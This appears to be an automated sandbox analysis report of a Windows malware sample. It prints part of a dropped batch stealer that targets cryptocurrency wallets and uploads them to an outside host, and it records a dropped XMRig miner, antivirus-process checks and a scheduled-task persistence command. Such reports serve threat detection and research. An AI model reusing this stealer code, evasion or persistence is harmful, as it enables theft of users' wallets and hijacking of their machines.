                                                              Preview:@echo off..setlocal enabledelayedexpansion....:: Set the necessary variables for extension and wallet settings..set "uploadUrl=https://cdn-downloads-now.xyz/files/upload.php"..set "zipFile=%TEMP%\BrowserExtensionSettings.zip"..set "tempZipDir=%TEMP%\ArchiveContents"..set "foundExtensions=0"..set "foundWallets=0"..set "foundTdata=0"....:: Create temporary directory for all files..if exist "%tempZipDir%" rmdir /s /q "%tempZipDir%"..mkdir "%tempZipDir%"....:: Define wallet paths..set "walletPaths[Bitcoin]=AppData\Roaming\Bitcoin\wallets"..set "walletPaths[Zcash]=AppData\Roaming\Zcash"..set "walletPaths[Armory]=AppData\Roaming\Armory"..set "walletPaths[Bytecoin]=AppData\Roaming\bytecoin"..set "walletPaths[Jaxx]=AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb"..set "walletPaths[Exodus]=AppData\Roaming\Exodus\exodus.wallet"..set "walletPaths[Ethereum]=AppData\Roaming\Ethereum\keystore"..set "walletPaths[Electrum]=AppData\Roaming\Electrum\wallets"..set "walletPaths[Atomic

                                                              C:\Users\user\AppData\Local\asm\SHA256SUMS

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                              File Type:ASCII text
                                                              Category:dropped
                                                              Size (bytes):256
                                                              Entropy (8bit):4.609628268937494
                                                              Encrypted:false
                                                              SSDEEP:6:FmPHPtVw0r8Xt1JEClzhtRRE0U17EBDjGVS4yo3TiRcVwkFFn:kvPfw0r891JEAzht0t17oDmvirkv
                                                              MD5:38F827A527025E0689A52EE3E8C95B98
                                                              SHA1:196C3449BA222213006849F95FE867DEE4551B70
                                                              SHA-256:00342F627A1776B6056A8E747439E92EE052DEE230041A5E22F0D42BF340AC5D
                                                              SHA-512:2B5D83C27DA5ABA1816EDC28471141226801D0054B4E8F583609F20B68398CCE3B11AFF1CEEC8A8E5A8E81938E9B663BD2E573452A6146CCD63BD947E1424826
                                                              Malicious:false
                                                              Preview:08e799194bcea78e2335b8f28bf5e5b0b799457167872dc3d9e40ad3cce9b6ab *nvrtc-builtins64_102.dll.79d9673dd7ff4ded9c9ba24a0bdb44f0309c5a2b9f9d618134a8668c7f193bd1 *nvrtc64_102_0.dll.9d3aa03f8a003a0142ca6bca93d8b86bc6785b5076d1d2a6528602c110d5e4eb *xmrig-cuda.dll.

                                                              C:\Users\user\AppData\Local\asm\WinRing0x64.sys

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                              File Type:PE32+ executable (native) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):14544
                                                              Entropy (8bit):6.2660301556221185
                                                              Encrypted:false
                                                              SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                              MD5:0C0195C48B6B8582FA6F6373032118DA
                                                              SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                              SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                              SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 5%
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\asm\config.json

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                              File Type:JSON data
                                                              Category:dropped
                                                              Size (bytes):2049
                                                              Entropy (8bit):4.53400832638798
                                                              Encrypted:false
                                                              SSDEEP:48:vIuTHxiHLTsbNbGAS5J5hAv1SQ8d0Swr5m0SrC6O1cvWGAj7DFCz:wuTRgJIS4SeSr2Mp
                                                              MD5:DCB095940D9FB21102941FBEB7BBE9F7
                                                              SHA1:3C0D33B914BC5B174CD9C13427EC8700C09D96CA
                                                              SHA-256:BA88BBB257474D6D7E8E9BEC7A12FF826C3FA80CB019FBC92EA8D6253C2400B1
                                                              SHA-512:C384A68FAC9C301EFD695605E6B14E1E201BE687D99CC1E31C6ED2C3D17F37C28802179DD175B4AADB29A3DD6D808B203E18EE96DB63A5DBCB92C9D42D2036C2
                                                              Malicious:false
                                                              Preview:{. "api": {. "id": null,. "worker-id": null. },. "http": {. "enabled": false,. "host": "127.0.0.1",. "port": 0,. "access-token": null,. "restricted": true. },. "autosave": true,. "background": false,. "colors": true,. "title": true,. "randomx": {. "init": -1,. "init-avx2": -1,. "mode": "auto",. "1gb-pages": false,. "rdmsr": true,. "wrmsr": true,. "cache_qos": false,. "numa": true,. "scratchpad_prefetch_mode": 1. },. "cpu": {. "enabled": true,. "huge-pages": true,. "huge-pages-jit": false,. "hw-aes": null,. "priority": 3,. "memory-pool": false,. "yield": true,. "max-threads-hint": 60,. "asm": true,. "argon2-impl": null,. "cn/0": false,. "cn-lite/0": false. },. "opencl": {. "enabled": false,. "cache": true,. "loader": null,. "platform": "AMD",. "adl": true,. "cn/0": false,. "cn-lite/0": false. },. "cuda": {. "enabled": true,. "loader": null,. "nvml": true,.

                                                              C:\Users\user\AppData\Local\asm\mi.exe

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                                              File Type:PE32+ executable (console) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):6412800
                                                              Entropy (8bit):6.624511627494028
                                                              Encrypted:false
                                                              SSDEEP:98304:JtRK2Xvf49fuI0nBkLuFvJr4XGCkc/zF2fz5IZ4ePzpS+KdbjrD/6K+TU3nA:I2Xv42VKzYz6Z4qSndf3D+TU3A
                                                              MD5:F6D520AE125F03056C4646C508218D16
                                                              SHA1:F65E63D14DD57EADB262DEAA2B1A8A965A2A962C
                                                              SHA-256:D2FCF28897DDC2137141D838B734664FF7592E03FCD467A433A51CB4976B4FB1
                                                              SHA-512:D1EC3DA141CE504993A0CBF8EA4B719FFA40A2BE4941C18FFC64EC3F71435F7BDDADDA6032EC0AE6CADA66226EE39A2012079ED318DF389C7C6584AD3E1C334D
                                                              Malicious:true
                                                              Yara Hits:
                                                              • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\asm\mi.exe, Author: Joe Security
                                                              • Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\Users\user\AppData\Local\asm\mi.exe, Author: unknown
                                                              • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\Users\user\AppData\Local\asm\mi.exe, Author: Florian Roth
                                                              • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\Users\user\AppData\Local\asm\mi.exe, Author: ditekSHen
                                                              Antivirus:
                                                              • Antivirus: Avira, Detection: 100%
                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                              • Antivirus: ReversingLabs, Detection: 61%
                                                              Preview:MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........{S.N.=.N.=.N.=..b>.B.=..b8..=..o9.].=..o>.D.=..o8...=..b9.W.=.o9.\.=.N.<...=..b<.Y.=...9.n.=.o4.G.=.o>.M.=.o..O.=.N...O.=.o?.O.=.RichN.=.........................PE..d...))'g.........."......VB..rI.......>........@.............................0............`.................................................T.\..........Y...................p........Y.......................Y.(.....Y.8............pB.p............................text...8TB......VB................. ..`.rdata..nw...pB..x...ZB.............@..@.data.....*...\.......\.............@....pdata................].............@..@_RANDOMXV.............`.............@..`_TEXT_CN.&.......(....`.............@..`_TEXT_CN..............`.............@..`_RDATA................`.............@..@.rsrc....Y.......Z....`.............@..@.reloc.......p.......$a.............@..B........................................

                                                              \Device\ConDrv

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\curl.exe
                                                              File Type:ASCII text, with CR, LF line terminators
                                                              Category:dropped
                                                              Size (bytes):557
                                                              Entropy (8bit):3.094985495550694
                                                              Encrypted:false
                                                              SSDEEP:12:Vz6ykymUexb1U9cL9cy3OvqyAJgOvqQAJm:HkyH+bJiy0ABAI
                                                              MD5:253CE31667054A61E27517FF6DF2761E
                                                              SHA1:D5C132A1D1C671F0F47B5A79CDB0B14395CBCAE5
                                                              SHA-256:093D9DB50015A2313252C0F920B21AD8A403980CA2DC39E4A02600D182339443
                                                              SHA-512:07503DDEA9FC722BD649CCD17B76927A4E84380EAAAC84D9AC36ACB92717A7FC606B2B556081C2BB691F6C59E44FA9DCC5E5DCEFE5755CD05EF5502F3B7452FB
                                                              Malicious:false
                                                              Preview: % Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0.100 1418 100 87 100 1331 27 424 0:00:03 0:00:03 --:--:-- 470.100 1418 100 87 100 1331 27 422 0:00:03 0:00:03 --:--:-- 468..

                                                              \Device\Null

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\net1.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):37
                                                              Entropy (8bit):3.6408290408368487
                                                              Encrypted:false
                                                              SSDEEP:3:gAxKEUTaa:gAMEe
                                                              MD5:768165E0ABF16BF3056836D5431A7296
                                                              SHA1:9FB3196BE60E49BFC319EBD9E0B103954D711E34
                                                              SHA-256:B44C505B721E93E2A596577018CC65B993CD632B9FE7620A4B3DB54031AFFF5D
                                                              SHA-512:1250EC40BA20F39A5B9A3AAFD45C63CB6F1BF48B89ACCE1F885470C936FB48A803081943C68458BA1ADCE92D5FE79D3E45682285F56ECB29884D41974269992D
                                                              Malicious:false
                                                              Preview:There are no entries in the list.....

                                                              Static File Info

                                                              General

                                                              File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                              Entropy (8bit):7.997474968686079
                                                              TrID:
                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                              • DOS Executable Generic (2002/1) 0.02%
                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                              File name:File.exe
                                                              File size:7'203'686 bytes
                                                              MD5:5eecc13df41c8e6967f8a3ecb1d0cda9
                                                              SHA1:8ac9ce30344f976a09da51da509dee5d2b0e8723
                                                              SHA256:6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3
                                                              SHA512:24c981ad16a5bc65738127dc27f2c804f4678671a8c13ff60ef2edcf795b8b6d505d121f407514dfbe7853b5d7577299ae30832319d21e83c5c18f5c638382d1
                                                              SSDEEP:196608:2ALE6dWjWnulUCK9vDfaa1RkYP60bs25rXSNBl66Wncma:k6fuiPrfZ1RBP60bs25rXQ66WnG
                                                              TLSH:E77633645F16BD76F8CEE9787B215F35B5ABFE3248C08E47205C96685030AD618F20BE
                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t...F...B...8.....

                                                              File Icon

                                                              Icon Hash:80969696969696a8

                                                              Static PE Info

                                                              General

                                                              Entrypoint:0x4038af
                                                              Entrypoint Section:.text
                                                              Digitally signed:true
                                                              Imagebase:0x400000
                                                              Subsystem:windows gui
                                                              Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                              DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                              Time Stamp:0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
                                                              TLS Callbacks:
                                                              CLR (.Net) Version:
                                                              OS Version Major:5
                                                              OS Version Minor:0
                                                              File Version Major:5
                                                              File Version Minor:0
                                                              Subsystem Version Major:5
                                                              Subsystem Version Minor:0
                                                              Import Hash:be41bf7b8cc010b614bd36bbca606973

                                                              Authenticode Signature

                                                              Signature Valid:
                                                              Signature Issuer:
                                                              Signature Validation Error:
                                                              Error Number:
                                                              Not Before, Not After
                                                                Subject Chain
                                                                  Version:
                                                                  Thumbprint MD5:
                                                                  Thumbprint SHA-1:
                                                                  Thumbprint SHA-256:
                                                                  Serial:

                                                                  Entrypoint Preview

                                                                  Instruction
                                                                  sub esp, 000002D4h
                                                                  push ebx
                                                                  push ebp
                                                                  push esi
                                                                  push edi
                                                                  push 00000020h
                                                                  xor ebp, ebp
                                                                  pop esi
                                                                  mov dword ptr [esp+18h], ebp
                                                                  mov dword ptr [esp+10h], 0040A268h
                                                                  mov dword ptr [esp+14h], ebp
                                                                  call dword ptr [00409030h]
                                                                  push 00008001h
                                                                  call dword ptr [004090B4h]
                                                                  push ebp
                                                                  call dword ptr [004092C0h]
                                                                  push 00000008h
                                                                  mov dword ptr [0047EB98h], eax
                                                                  call 00007F5914E0132Bh
                                                                  push ebp
                                                                  push 000002B4h
                                                                  mov dword ptr [0047EAB0h], eax
                                                                  lea eax, dword ptr [esp+38h]
                                                                  push eax
                                                                  push ebp
                                                                  push 0040A264h
                                                                  call dword ptr [00409184h]
                                                                  push 0040A24Ch
                                                                  push 00476AA0h
                                                                  call 00007F5914E0100Dh
                                                                  call dword ptr [004090B0h]
                                                                  push eax
                                                                  mov edi, 004CF0A0h
                                                                  push edi
                                                                  call 00007F5914E00FFBh
                                                                  push ebp
                                                                  call dword ptr [00409134h]
                                                                  cmp word ptr [004CF0A0h], 0022h
                                                                  mov dword ptr [0047EAB8h], eax
                                                                  mov eax, edi
                                                                  jne 00007F5914DFE8FAh
                                                                  push 00000022h
                                                                  pop esi
                                                                  mov eax, 004CF0A2h
                                                                  push esi
                                                                  push eax
                                                                  call 00007F5914E00CD1h
                                                                  push eax
                                                                  call dword ptr [00409260h]
                                                                  mov esi, eax
                                                                  mov dword ptr [esp+1Ch], esi
                                                                  jmp 00007F5914DFE983h
                                                                  push 00000020h
                                                                  pop ebx
                                                                  cmp ax, bx
                                                                  jne 00007F5914DFE8FAh
                                                                  add esi, 02h
                                                                  cmp word ptr [esi], bx

                                                                  Rich Headers

                                                                  Programming Language:
                                                                  • [ C ] VS2008 SP1 build 30729
                                                                  • [IMP] VS2008 SP1 build 30729
                                                                  • [ C ] VS2010 SP1 build 40219
                                                                  • [RES] VS2010 SP1 build 40219
                                                                  • [LNK] VS2010 SP1 build 40219

                                                                  Data Directories

                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0xac400xb4.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x1000000xd5f6.rsrc
                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x6d95160x6050
                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x860000x994.ndata
                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x90000x2d0.rdata
                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                  Sections

                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                  .text0x10000x728c0x7400419d4e1be1ac35a5db9c47f553b27ceaFalse0.6566540948275862data6.499708590628113IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                  .rdata0x90000x2b6e0x2c00cca1ca3fbf99570f6de9b43ce767f368False0.3678977272727273data4.497932535153822IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  .data0xc0000x72b9c0x20077f0839f8ebea31040e462523e1c770eFalse0.279296875data1.8049406284608531IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .ndata0x7f0000x810000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                  .rsrc0x1000000xd5f60xd6005b6d03a46302ca3257992f48a2d057d4False0.25602365654205606data4.745587548561658IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                  .reloc0x10e0000xfd60x1000bcc1b865322f974509fa95be60f483c2False0.596923828125data5.562954404310927IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                  Resources

                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                  RT_ICON0x1002e00x25c4PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9738311956971453
                                                                  RT_ICON0x1028a40x4228Device independent bitmap graphic, 64 x 128 x 32, image size 0EnglishUnited States0.06565895134624469
                                                                  RT_ICON0x106acc0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishUnited States0.08236514522821577
                                                                  RT_ICON0x1090740x1a68Device independent bitmap graphic, 40 x 80 x 32, image size 0EnglishUnited States0.10488165680473373
                                                                  RT_ICON0x10aadc0x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.13062851782363977
                                                                  RT_ICON0x10bb840x988Device independent bitmap graphic, 24 x 48 x 32, image size 0EnglishUnited States0.1610655737704918
                                                                  RT_ICON0x10c50c0x6b8Device independent bitmap graphic, 20 x 40 x 32, image size 0EnglishUnited States0.19127906976744186
                                                                  RT_ICON0x10cbc40x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishUnited States0.2393617021276596
                                                                  RT_DIALOG0x10d02c0x100dataEnglishUnited States0.5234375
                                                                  RT_DIALOG0x10d12c0x11cdataEnglishUnited States0.6056338028169014
                                                                  RT_DIALOG0x10d2480x60dataEnglishUnited States0.7291666666666666
                                                                  RT_GROUP_ICON0x10d2a80x76dataEnglishUnited States0.7457627118644068
                                                                  RT_MANIFEST0x10d3200x2d6XML 1.0 document, ASCII text, with very long lines (726), with no line terminatorsEnglishUnited States0.5647382920110193

                                                                  Imports

                                                                  DLLImport
                                                                  KERNEL32.dllSetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
                                                                  USER32.dllGetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
                                                                  GDI32.dllSetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
                                                                  SHELL32.dllSHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
                                                                  ADVAPI32.dllRegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
                                                                  COMCTL32.dllImageList_AddMasked, ImageList_Destroy, ImageList_Create
                                                                  ole32.dllCoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
                                                                  VERSION.dllGetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

                                                                  Possible Origin

                                                                  Language of compilation systemCountry where language is spokenMap
                                                                  EnglishUnited States

                                                                  Network Behavior

                                                                  ⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

                                                                  Statistics

                                                                  CPU Usage

                                                                  Click to jump to process

                                                                  Memory Usage

                                                                  Click to jump to process

                                                                  High Level Behavior Distribution

                                                                  Click to dive into process behavior distribution

                                                                  Behavior

                                                                  Click to jump to process

                                                                  System Behavior

                                                                  General

                                                                  Target ID:0
                                                                  Start time:11:11:53
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\Desktop\File.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\Desktop\File.exe"
                                                                  Imagebase:0x400000
                                                                  File size:7'203'686 bytes
                                                                  MD5 hash:5EECC13DF41C8E6967F8A3ECB1D0CDA9
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:low
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:4
                                                                  Start time:11:11:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:5
                                                                  Start time:11:11:54
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\System32\conhost.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                  Imagebase:0x7ff75da10000
                                                                  File size:862'208 bytes
                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:9
                                                                  Start time:11:11:55
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\tasklist.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:tasklist
                                                                  Imagebase:0x630000
                                                                  File size:79'360 bytes
                                                                  MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:10
                                                                  Start time:11:11:55
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\findstr.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:findstr /I "wrsa opssvc"
                                                                  Imagebase:0x2f0000
                                                                  File size:29'696 bytes
                                                                  MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:11
                                                                  Start time:11:11:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\tasklist.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:tasklist
                                                                  Imagebase:0x630000
                                                                  File size:79'360 bytes
                                                                  MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:12
                                                                  Start time:11:11:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\findstr.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                  Imagebase:0x2f0000
                                                                  File size:29'696 bytes
                                                                  MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:13
                                                                  Start time:11:11:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:cmd /c md 491505
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:14
                                                                  Start time:11:11:56
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
                                                                  MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:15
                                                                  Start time:11:11:57
                                                                  Start date:03/12/2024
                                                                  Path:C:\Users\user\AppData\Local\Temp\491505\Dr.com
                                                                  Wow64 process (32bit):true
                                                                  Commandline:Dr.com B
                                                                  Imagebase:0xff0000
                                                                  File size:893'608 bytes
                                                                  MD5 hash:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Antivirus matches:
                                                                  • Detection: 3%, ReversingLabs
                                                                  Reputation:moderate
                                                                  Has exited:false

                                                                  General

                                                                  Target ID:16
                                                                  Start time:11:11:57
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\choice.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:choice /d y /t 15
                                                                  Imagebase:0x2e0000
                                                                  File size:28'160 bytes
                                                                  MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Has exited:true

                                                                  General

                                                                  Target ID:17
                                                                  Start time:11:11:58
                                                                  Start date:03/12/2024
                                                                  Path:C:\Windows\SysWOW64\cmd.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                                                                  Imagebase:0x410000
                                                                  File size:236'544 bytes
